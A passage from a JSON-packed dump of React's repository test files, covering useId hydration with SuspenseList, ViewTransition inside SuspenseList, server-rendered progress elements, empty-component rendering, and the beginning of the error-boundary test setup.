<SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n          {null}\n          <Bar>A</Bar>\n          {null}\n        </SuspenseList>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_2_\"\n        >\n          A\n        </span>\n        <!-- -->\n      </div>\n    `);\n\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <Foo />);\n    });\n\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_2_\"\n        >\n          A\n        </span>\n        <!-- -->\n      </div>\n    `);\n  });\n\n  // @gate enableSuspenseList\n  it('Supports SuspenseList (reveal order \"backwards\")', async () => {\n    function Baz({id, children}) {\n      return <span id={id}>{children}</span>;\n    }\n\n    function Bar({children}) {\n      const id = useId();\n      return <Baz id={id}>{children}</Baz>;\n    }\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n          <Bar>A</Bar>\n          <Bar>B</Bar>\n        </SuspenseList>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n\n    // TODO: This is a bug with revealOrder=\"backwards\" in that it hydrates in reverse.\n    await expect(async () => {\n      await clientAct(async () => {\n        ReactDOMClient.hydrateRoot(container, <Foo />);\n      });\n    }).rejects.toThrowError(\n      `Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client.`,\n    );\n\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_r_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_r_0_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n  });\n\n  it('basic incremental hydration', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <DivWithId label=\"A\" />\n            <DivWithId label=\"B\" />\n          </Suspense>\n          <DivWithId label=\"C\" />\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          <!--$-->\n          <div\n            id=\"101\"\n          />\n          <div\n            id=\"1001\"\n          />\n          <!--/$-->\n          <div\n            id=\"10\"\n          />\n        </div>\n      </div>\n    `);\n  });\n\n  it('inserting/deleting siblings outside a dehydrated Suspense boundary', async () => {\n    const span = React.createRef(null);\n    function App({swap}) {\n      // Note: Using a dynamic array so these are treated as insertions and\n      // deletions instead of updates, because Fiber currently allocates a node\n      // even for empty children.\n      const children = [\n        <DivWithId key=\"A\" />,\n        swap ? <DivWithId key=\"C\" /> : <DivWithId key=\"B\" />,\n        <DivWithId key=\"D\" />,\n      ];\n      return (\n        <>\n          {children}\n          <Suspense key=\"boundary\" fallback=\"Loading...\">\n            <DivWithId />\n            <span ref={span} />\n          </Suspense>\n        </>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    const dehydratedSpan = container.getElementsByTagName('span')[0];\n    await clientAct(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App />);\n      await waitForPaint([]);\n      expect(container).toMatchInlineSnapshot(`\n        <div\n          id=\"container\"\n        >\n          <div\n            id=\"101\"\n          />\n          <div\n            id=\"1001\"\n          />\n          <div\n            id=\"1101\"\n          />\n          <!--$-->\n          <div\n            id=\"110\"\n          />\n          <span />\n          <!--/$-->\n        </div>\n      `);\n\n      // The inner boundary hasn't hydrated yet\n      expect(span.current).toBe(null);\n\n      // Swap B for C\n      root.render(<App swap={true} />);\n    });\n    // The swap should not have caused a mismatch.\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div\n          id=\"101\"\n        />\n        <div\n          id=\"CLIENT_GENERATED_ID\"\n        />\n        <div\n          id=\"1101\"\n        />\n        <!--$-->\n        <div\n          id=\"110\"\n        />\n        <span />\n        <!--/$-->\n      </div>\n    `);\n    // Should have hydrated successfully\n    expect(span.current).toBe(dehydratedSpan);\n  });\n\n  it('inserting/deleting siblings inside a dehydrated Suspense boundary', async () => {\n    const span = React.createRef(null);\n    function App({swap}) {\n      // Note: Using a dynamic array so these are treated as insertions and\n      // deletions instead of updates, because Fiber currently allocates a node\n      // even for empty children.\n      const children = [\n        <DivWithId key=\"A\" />,\n        swap ? <DivWithId key=\"C\" /> : <DivWithId key=\"B\" />,\n        <DivWithId key=\"D\" />,\n      ];\n      return (\n        <Suspense key=\"boundary\" fallback=\"Loading...\">\n          {children}\n          <span ref={span} />\n        </Suspense>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    const dehydratedSpan = container.getElementsByTagName('span')[0];\n    await clientAct(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App />);\n      await waitForPaint([]);\n      expect(container).toMatchInlineSnapshot(`\n        <div\n          id=\"container\"\n        >\n          <!--$-->\n          <div\n            id=\"101\"\n          />\n          <div\n            id=\"1001\"\n          />\n          <div\n            id=\"1101\"\n          />\n          <span />\n          <!--/$-->\n        </div>\n      `);\n\n      // The inner boundary hasn't hydrated yet\n      expect(span.current).toBe(null);\n\n      // Swap B for C\n      root.render(<App swap={true} />);\n    });\n    // The swap should not have caused a mismatch.\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <!--$-->\n        <div\n          id=\"101\"\n        />\n        <div\n          id=\"CLIENT_GENERATED_ID\"\n        />\n        <div\n          id=\"1101\"\n        />\n        <span />\n        <!--/$-->\n      </div>\n    `);\n    // Should have hydrated successfully\n    expect(span.current).toBe(dehydratedSpan);\n  });\n\n  it('identifierPrefix option', async () => {\n    function Child() {\n      const id = useId();\n      return <div>{id}</div>;\n    }\n\n    function App({showMore}) {\n      return (\n        <>\n          <Child />\n          <Child />\n          {showMore && <Child />}\n        </>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />, {\n        identifierPrefix: 'custom-prefix-',\n      });\n      pipe(writable);\n    });\n    let root;\n    await clientAct(async () => {\n      root = ReactDOMClient.hydrateRoot(container, <App />, {\n        identifierPrefix: 'custom-prefix-',\n      });\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          _custom-prefix-R_1_\n        </div>\n        <div>\n          _custom-prefix-R_2_\n        </div>\n      </div>\n    `);\n\n    // Mount a new, client-only id\n    await clientAct(async () => {\n      root.render(<App showMore={true} />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          _custom-prefix-R_1_\n        </div>\n        <div>\n          _custom-prefix-R_2_\n        </div>\n        <div>\n          _custom-prefix-r_0_\n        </div>\n      </div>\n    `);\n  });\n\n  // https://github.com/vercel/next.js/issues/43033\n  // re-rendering in strict mode caused the localIdCounter to be reset but it the rerender hook does not\n  // increment it again. This only shows up as a problem for subsequent useId's because it affects child\n  // and sibling counters not the initial one\n  it('does not forget it mounted an id when re-rendering in dev', async () => {\n    function Parent() {\n      const id = useId();\n      return (\n        <div>\n          {id} <Child />\n        </div>\n      );\n    }\n    function Child() {\n      const id = useId();\n      return <div>{id}</div>;\n    }\n\n    function App({showMore}) {\n      return (\n        <React.StrictMode>\n          <Parent />\n        </React.StrictMode>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          _R_0_\n          <!-- -->\n           \n          <div>\n            _R_7_\n          </div>\n        </div>\n      </div>\n    `);\n\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          _R_0_\n          <!-- -->\n           \n          <div>\n            _R_7_\n          </div>\n        </div>\n      </div>\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMViewTransition-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet Suspense;\nlet SuspenseList;\nlet ViewTransition;\nlet act;\nlet assertLog;\nlet Scheduler;\nlet textCache;\n\ndescribe('ReactDOMViewTransition', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    Suspense = React.Suspense;\n    ViewTransition = React.ViewTransition;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    textCache = new Map();\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  // @gate enableSuspenseList\n  it('handles ViewTransition wrapping Suspense inside SuspenseList', async () => {\n    function Card({id}) {\n      return (\n        <div>\n          <AsyncText text={`Card ${id}`} />\n        </div>\n      );\n    }\n\n    function CardSkeleton({n}) {\n      return <Text text={`Skeleton ${n}`} />;\n    }\n\n    function App() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"together\">\n            <ViewTransition>\n              <Suspense fallback={<CardSkeleton n={1} />}>\n                <Card id={1} />\n              </Suspense>\n            </ViewTransition>\n            <ViewTransition>\n              <Suspense fallback={<CardSkeleton n={2} />}>\n                <Card id={2} />\n              </Suspense>\n            </ViewTransition>\n            <ViewTransition>\n              <Suspense fallback={<CardSkeleton n={3} />}>\n                <Card id={3} />\n              </Suspense>\n            </ViewTransition>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    // Initial render - all cards should suspend\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([\n      'Suspend! [Card 1]',\n      'Skeleton 1',\n      'Suspend! [Card 2]',\n      'Skeleton 2',\n      'Suspend! [Card 3]',\n      'Skeleton 3',\n      'Skeleton 1',\n      'Skeleton 2',\n      'Skeleton 3',\n    ]);\n\n    await act(() => {\n      resolveText('Card 1');\n      resolveText('Card 2');\n      resolveText('Card 3');\n    });\n\n    assertLog(['Card 1', 'Card 2', 'Card 3']);\n\n    // All cards should be visible\n    expect(container.textContent).toContain('Card 1');\n    expect(container.textContent).toContain('Card 2');\n    expect(container.textContent).toContain('Card 3');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMserverIntegrationProgress-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegrationProgress', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('a progress in an indeterminate state', async render => {\n    // Regression test for https://github.com/facebook/react/issues/6119\n    const e = await render(<progress value={null} />);\n    expect(e.hasAttribute('value')).toBe(false);\n    const e2 = await render(<progress value={50} />);\n    expect(e2.getAttribute('value')).toBe('50');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactEmptyComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet ReactDOMClient;\nlet TogglingComponent;\nlet act;\nlet Scheduler;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nlet container;\n\ndescribe('ReactEmptyComponent', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n    Scheduler = require('scheduler');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    container = document.createElement('div');\n\n    TogglingComponent = class extends React.Component {\n      state = {component: this.props.firstComponent};\n\n      componentDidMount() {\n        Scheduler.log('mount ' + findDOMNode(this)?.nodeName);\n        this.setState({component: this.props.secondComponent});\n      }\n\n      componentDidUpdate() {\n        Scheduler.log('update ' + findDOMNode(this)?.nodeName);\n      }\n\n      render() {\n        const Component = this.state.component;\n        return Component ? <Component /> : null;\n      }\n    };\n  });\n\n  describe.each([null, undefined])('when %s', nullORUndefined => {\n    it('should not throw when rendering', () => {\n      function EmptyComponent() {\n        return nullORUndefined;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root.render(<EmptyComponent />);\n        });\n      }).not.toThrowError();\n    });\n\n    it('should not produce child DOM nodes for nullish and false', async () => {\n      function Component1() {\n        return nullORUndefined;\n      }\n\n      function Component2() {\n        return false;\n      }\n\n      const container1 = document.createElement('div');\n      const root1 = ReactDOMClient.createRoot(container1);\n      await act(() => {\n        root1.render(<Component1 />);\n      });\n      expect(container1.children.length).toBe(0);\n\n      const container2 = document.createElement('div');\n      const root2 = ReactDOMClient.createRoot(container2);\n      await act(() => {\n        root2.render(<Component2 />);\n      });\n      expect(container2.children.length).toBe(0);\n    });\n\n    it('should be able to switch between rendering nullish and a normal tag', async () => {\n      const instance1 = (\n        <TogglingComponent\n          firstComponent={nullORUndefined}\n          secondComponent={'div'}\n        />\n      );\n      const instance2 = (\n        <TogglingComponent\n          firstComponent={'div'}\n          secondComponent={nullORUndefined}\n        />\n      );\n\n      const container2 = document.createElement('div');\n      const root1 = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root1.render(instance1);\n      });\n\n      assertLog(['mount undefined', 'update DIV']);\n\n      const root2 = ReactDOMClient.createRoot(container2);\n      await act(() => {\n        root2.render(instance2);\n      });\n\n      assertLog(['mount DIV', 'update undefined']);\n    });\n\n    it('should be able to switch in a list of children', async () => {\n      const instance1 = (\n        <TogglingComponent\n          firstComponent={nullORUndefined}\n          secondComponent={'div'}\n        />\n      );\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            {instance1}\n            {instance1}\n            {instance1}\n          </div>,\n        );\n      });\n\n      assertLog([\n        'mount undefined',\n        'mount undefined',\n        'mount undefined',\n        'update DIV',\n        'update DIV',\n        'update DIV',\n      ]);\n    });\n\n    it('should distinguish between a script placeholder and an actual script tag', () => {\n      const instance1 = (\n        <TogglingComponent\n          firstComponent={nullORUndefined}\n          secondComponent={'script'}\n        />\n      );\n      const instance2 = (\n        <TogglingComponent\n          firstComponent={'script'}\n          secondComponent={nullORUndefined}\n        />\n      );\n\n      const root1 = ReactDOMClient.createRoot(container);\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root1.render(instance1);\n        });\n      }).not.toThrow();\n\n      expect(container.innerHTML).toBe('<script></script>');\n      if (gate('enableTrustedTypesIntegration')) {\n        assertConsoleErrorDev([\n          'Encountered a script tag while rendering React component. ' +\n            'Scripts inside React components are never executed when rendering on the client. ' +\n            'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\\n' +\n            '     in script (at **)\\n' +\n            '     in TogglingComponent (at **)',\n        ]);\n      }\n\n      const container2 = document.createElement('div');\n      const root2 = ReactDOMClient.createRoot(container2);\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root2.render(instance2);\n        });\n      }).not.toThrow();\n\n      assertLog([\n        'mount undefined',\n        'update SCRIPT',\n        'mount SCRIPT',\n        'update undefined',\n      ]);\n      expect(container2.innerHTML).toBe('');\n    });\n\n    it(\n      'should have findDOMNode return null when multiple layers of composite ' +\n        'components render to the same nullish placeholder',\n      () => {\n        function GrandChild() {\n          return nullORUndefined;\n        }\n\n        function Child() {\n          return <GrandChild />;\n        }\n\n        const instance1 = (\n          <TogglingComponent firstComponent={'div'} secondComponent={Child} />\n        );\n        const instance2 = (\n          <TogglingComponent firstComponent={Child} secondComponent={'div'} />\n        );\n\n        const root1 = ReactDOMClient.createRoot(container);\n        expect(() => {\n          ReactDOM.flushSync(() => {\n            root1.render(instance1);\n          });\n        }).not.toThrow();\n\n        const container2 = document.createElement('div');\n        const root2 = ReactDOMClient.createRoot(container2);\n        expect(() => {\n          ReactDOM.flushSync(() => {\n            root2.render(instance2);\n          });\n        }).not.toThrow();\n\n        assertLog([\n          'mount DIV',\n          'update undefined',\n          'mount undefined',\n          'update DIV',\n        ]);\n      },\n    );\n\n    it('works when switching components', async () => {\n      let innerRef;\n\n      class Inner extends React.Component {\n        render() {\n          return <span />;\n        }\n\n        componentDidMount() {\n          // Make sure the DOM node resolves properly even if we're replacing a\n          // `null` component\n          expect(findDOMNode(this)).not.toBe(null);\n        }\n\n        componentWillUnmount() {\n          // Even though we're getting replaced by `null`, we haven't been\n          // replaced yet!\n          expect(findDOMNode(this)).not.toBe(null);\n        }\n      }\n\n      function Wrapper({showInner}) {\n        innerRef = React.createRef(null);\n        return showInner ? <Inner ref={innerRef} /> : nullORUndefined;\n      }\n\n      const el = document.createElement('div');\n\n      // Render the <Inner /> component...\n      const root = ReactDOMClient.createRoot(el);\n      await act(() => {\n        root.render(<Wrapper showInner={true} />);\n      });\n      expect(innerRef.current).not.toBe(null);\n\n      // Switch to null...\n      await act(() => {\n        root.render(<Wrapper showInner={false} />);\n      });\n      expect(innerRef.current).toBe(null);\n\n      // ...then switch back.\n      await act(() => {\n        root.render(<Wrapper showInner={true} />);\n      });\n      expect(innerRef.current).not.toBe(null);\n\n      expect.assertions(6);\n    });\n\n    it('can render nullish at the top level', async () => {\n      const div = document.createElement('div');\n      const root = ReactDOMClient.createRoot(div);\n\n      await act(() => {\n        root.render(nullORUndefined);\n      });\n      expect(div.innerHTML).toBe('');\n    });\n\n    it('does not break when updating during mount', () => {\n      class Child extends React.Component {\n        componentDidMount() {\n          if (this.props.onMount) {\n            this.props.onMount();\n          }\n        }\n\n        render() {\n          if (!this.props.visible) {\n            return nullORUndefined;\n          }\n\n          return <div>hello world</div>;\n        }\n      }\n\n      class Parent extends React.Component {\n        update = () => {\n          this.forceUpdate();\n        };\n\n        render() {\n          return (\n            <div>\n              <Child key=\"1\" visible={false} />\n              <Child key=\"0\" visible={true} onMount={this.update} />\n              <Child key=\"2\" visible={false} />\n            </div>\n          );\n        }\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root.render(<Parent />);\n        });\n      }).not.toThrow();\n    });\n\n    it('preserves the dom node during updates', async () => {\n      function Empty() {\n        return nullORUndefined;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Empty />);\n      });\n      const noscript1 = container.firstChild;\n      expect(noscript1).toBe(null);\n\n      // This update shouldn't create a DOM node\n      await act(() => {\n        root.render(<Empty />);\n      });\n      const noscript2 = container.firstChild;\n      expect(noscript2).toBe(null);\n    });\n\n    it('should not warn about React.forwardRef that returns nullish', () => {\n      const Empty = () => {\n        return nullORUndefined;\n      };\n      const EmptyForwardRef = React.forwardRef(Empty);\n\n      const root = ReactDOMClient.createRoot(container);\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root.render(<EmptyForwardRef />);\n        });\n      }).not.toThrowError();\n    });\n\n    it('should not warn about React.memo that returns nullish', () => {\n      const Empty = () => {\n        return nullORUndefined;\n      };\n      const EmptyMemo = React.memo(Empty);\n\n      const root = ReactDOMClient.createRoot(container);\n      expect(() => {\n        ReactDOM.flushSync(() => {\n          root.render(<EmptyMemo />);\n        });\n      }).not.toThrowError();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactErrorBoundaries-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet act;\nlet Scheduler;\n\ndescribe('ReactErrorBoundaries', () => {\n  let BrokenConstructor;\n  let BrokenComponentWillMount;\n  let BrokenComponentDidMount;\n  let BrokenComponentWillReceiveProps;\n  let BrokenComponentWillUpdate;\n  let BrokenComponentDidUpdate;\n  let BrokenComponentWillUnmount;\n  let BrokenRenderErrorBoundary;\n  let BrokenComponentWillMountErrorBoundary;\n  let BrokenComponentDidMountErrorBoundary;\n  let BrokenRender;\n  let BrokenUseEffect;\n  let BrokenUseLayoutEffect;\n  let ErrorBoundary;\n  let ErrorMessage;\n  let NoopErrorBoundary;\n  let RetryErrorBoundary;\n  let Normal;\n  let assertLog;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.useFakeTimers();\n    jest.resetModules();\n    PropTypes = require('prop-types');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    React = require('react');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n\n    ({assertLog, assertConsoleErrorDev} = require('internal-test-utils'));\n\n    BrokenConstructor = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenConstructor constructor [!]');\n        throw new Error('Hello');\n      }\n      render() {\n        Scheduler.log('BrokenConstructor render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenConstructor componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenConstructor componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenConstructor componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenConstructor componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenConstructor componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenConstructor componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillMount = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentWillMount constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentWillMount render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentWillMount componentWillMount [!]');\n        throw new Error('Hello');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentWillMount componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenComponentWillMount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentWillMount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentWillMount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentWillMount componentWillUnmount');\n      }\n    };\n\n    BrokenComponentDidMount = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentDidMount constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentDidMount render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentDidMount componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentDidMount componentDidMount [!]');\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenComponentDidMount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentDidMount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentDidMount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentDidMount componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillReceiveProps = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentWillReceiveProps constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentWillReceiveProps render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentWillReceiveProps componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentWillReceiveProps componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log(\n          'BrokenComponentWillReceiveProps componentWillReceiveProps [!]',\n        );\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentWillReceiveProps componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentWillReceiveProps componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentWillReceiveProps componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillUpdate = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentWillUpdate constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentWillUpdate render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentWillUpdate componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentWillUpdate componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenComponentWillUpdate componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentWillUpdate componentWillUpdate [!]');\n        throw new Error('Hello');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentWillUpdate componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentWillUpdate componentWillUnmount');\n      }\n    };\n\n    BrokenComponentDidUpdate = class extends React.Component {\n      static defaultProps = {\n        errorText: 'Hello',\n      };\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentDidUpdate constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentDidUpdate render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentDidUpdate componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentDidUpdate componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenComponentDidUpdate componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentDidUpdate componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentDidUpdate componentDidUpdate [!]');\n        throw new Error(this.props.errorText);\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentDidUpdate componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillUnmount = class extends React.Component {\n      static defaultProps = {\n        errorText: 'Hello',\n      };\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenComponentWillUnmount constructor');\n      }\n      render() {\n        Scheduler.log('BrokenComponentWillUnmount render');\n        return 